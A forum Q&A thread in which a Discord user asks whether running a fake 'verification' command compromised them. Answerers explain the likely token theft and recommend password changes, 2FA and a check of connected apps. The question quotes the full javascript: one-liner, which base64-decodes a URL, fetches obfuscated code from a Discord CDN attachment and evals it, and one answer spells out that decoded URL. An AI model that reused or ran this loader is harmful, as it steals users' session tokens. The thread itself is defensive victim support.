I was trying to get verified on a 28k user server on discord. Verify channel directed me to this page and I followed the steps in order to get verified.enter image description here

The command was this

javascript:fetch(atob('aHR0cHM6Ly9jZG4uZGlzY29yZGFwcC5jb20vYXR0YWNobWVudHMvMTAxNDUzNDg5ODAzNzU2MzQ2Ny8xMDE0NTM0OTg0MTc1OTg0NjQwL3VkdW1iLnR4dA==')).then(result => result.text()).then(result => eval(result));

Do I have a problem? What should I do?

2 Answers 2


I haven't reverse engineered the JS file. But generally speaking these kind of Discord attacks work by tricking someone into running a JS snippet in the browser to steal someones Discord token/cookie. In fact if you open the developer console in your web browser Discord will actually explicitly warn you about inputting JavaScript in. I think it's unlikely that this attack as done anything bad such as downloading malware but I would advise you to change your password, refresh your session and enable MFA if you haven't done so already.

  • Appreciate your answer. I had 2fa maybe that protected me from authorizing any app to my account. The thing is they made whole lie server with 28k members. I wanted to try to understand their motive with that code.
    – Eunice
    Sep 9, 2022 at 9:27

It's very hard to tell what the JavaScript actually does. The script directly on the site resolves to https://cdn.discordapp.com/attachments/1014534898037563467/1014534984175984640/udumb.txt, which in turn is a .txt file containing roughly 57k of obfuscated JavaScript.

So the question "How fucked am I?" is hard to answer, because no one will be able to tell you what exactly the script does, unless they invest quite a long time reverse-engineering it. Based on what is likely...it probably steals session tokens for Discord or other popular services.

The best course of action is to check Discord for any suspicious "connected apps" and to change all your passwords. If you can, enable 2FA authentication for Discord, to limit what an attacker can do.

  • I'm thinking of formatting the pc. Is it possible for this to steal my future inputs to websites? Or it just ran for 1 time and got what it want? Thank you for your answer
    – Eunice
    Sep 6, 2022 at 10:16
  • @Eunice If they connected a malicious app to your Discord account, formatting your PC won't help. You will have to go the distance and actually check for that. But formatting is definitely a good thing to do. Sep 6, 2022 at 10:18
  • From what it's worth, I get a CORS error when executing it from the website. Additional note: would it be possible to truncate the URL? So nobody accidentally tries to load it.
    – Yuriko
    Sep 6, 2022 at 12:11
  • @Yuriko: loading the url is not a problem. It will just download a txt.The risk appears in the original code when it is evaluated as javascript
    – Ángel
    Sep 8, 2022 at 0:53
  • @Ángel: yes, I did see that. But if someone cannot download the payload, they would not be able to execute it.
    – Yuriko
    Sep 8, 2022 at 2:49

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .